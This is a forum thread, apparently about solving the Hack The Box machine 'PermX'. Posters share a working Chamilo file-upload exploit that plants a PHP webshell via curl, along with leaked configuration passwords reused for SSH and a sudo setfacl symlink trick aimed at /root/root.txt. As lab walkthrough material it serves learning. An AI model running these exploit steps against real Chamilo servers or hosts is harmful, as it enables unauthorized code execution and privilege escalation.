[trevor69000]

https://app.hackthebox.com/machines/613 
Lets go

[peterpeter]

https://starlabs.sg/advisories/23/23-3368/
Dont work, brute force user ¿?

[trevor69000]

http://lms.permx.htb/app/config/parameters.yml.dist

parameters:
    database_driver: pdo_mysql
    database_host: 127.0.0.1
    database_port: ~
    database_name: chamilo111
    database_user: root
    database_password: root

    mailer_transport: smtp
    mailer_host: 127.0.0.1
    mailer_user: ~
    mailer_password: ~

    # A secret key that's used to generate certain security-related tokens
    secret: ThisTokenIsNotSoSecretChangeIt
    password_encryption: sha1

    # Activation for multi-url access
    multiple_access_urls: false
    # Deny the elimination of users
    deny_delete_users: false
    installed: ~
    password_encryption: sha1
    sp_bower_bin: '/usr/bin/bower'

    url_append: ''
    sonata_media.cdn.host: /uploads/media

    # If you installed Chamilo in http://localhost/chamilo_master
    # you need to setup like this:
    # url_append: '/chamilo_master/web/'
    # sonata_media.cdn.host: /chamilo_master/web/uploads/media

    sonata_page.varnish.command: 'if [ ! -r "/etc/varnish/secret" ]; then echo "VALID ERROR :/"; else varnishadm -S /etc/varnish/secret -T 127.0.0.1:6082 {{ COMMAND }} "{{ EXPRESSION }}"; fi;'
    locales: [en, fr, es, de]

[osamy7593]

http://lms.permx.htb/app/config/parameters.yml.dist

parameters:
    database_driver: pdo_mysql
    database_host: 127.0.0.1
    database_port: ~
    database_name: chamilo111
    database_user: root
    database_password: root

    mailer_transport: smtp
    mailer_host: 127.0.0.1
    mailer_user: ~
    mailer_password: ~

    # A secret key that's used to generate certain security-related tokens
    secret: ThisTokenIsNotSoSecretChangeIt
    password_encryption: sha1

    # Activation for multi-url access
    multiple_access_urls: false
    # Deny the elimination of users
    deny_delete_users: false
    installed: ~
    password_encryption: sha1
    sp_bower_bin: '/usr/bin/bower'

    url_append: ''
    sonata_media.cdn.host: /uploads/media

    # If you installed Chamilo in http://localhost/chamilo_master
    # you need to setup like this:
    # url_append: '/chamilo_master/web/'
    # sonata_media.cdn.host: /chamilo_master/web/uploads/media

    sonata_page.varnish.command: 'if [ ! -r "/etc/varnish/secret" ]; then echo "VALID ERROR :/"; else varnishadm -S /etc/varnish/secret -T 127.0.0.1:6082 {{ COMMAND }} "{{ EXPRESSION }}"; fi;'
    locales: [en, fr, es, de]

what that means

[osamy7593]

https://starlabs.sg/advisories/23/23-4220/

$ echo '<?php system("id"); ?>' > rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

bro how can u know that the parameter is action?

[osamy7593]

bro how can u know that the parameter is action?

from the article i linked

its literally just a copy paste exploit i didnt change anything

$ cat /var/www/chamilo/app/config/configuration.php
...

// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;

...

ssh in as mtz with that password to get user.txt

great man

[ritualist]

The sudo command seems like the obvious next step.


I tried creating a symlink

ln -s /root/root.txt root.txt

and then

sudo /opt/acl.sh mtz rwx /home/mtz/root.txt

But i get "Operation not permitted".

The root.txt gets regularly cleared so might be the right direction.

[osamy7593]

why?

if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
mtz@permx:~$ sudo /opt/acl.sh mtz r /home/root/root.txt
sudo /opt/acl.sh mtz r /home/root/root.txt
Access denied.
mtz@permx:~$

[osamy7593]

it tells the file is not writable

[Abdo000]

mtz@permx:~$ ln -s /root/root.txt root1.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root1.txt
setfacl: /home/mtz/root1.txt: Operation not permitted


why ??

just do it within 8 seconds then it'll work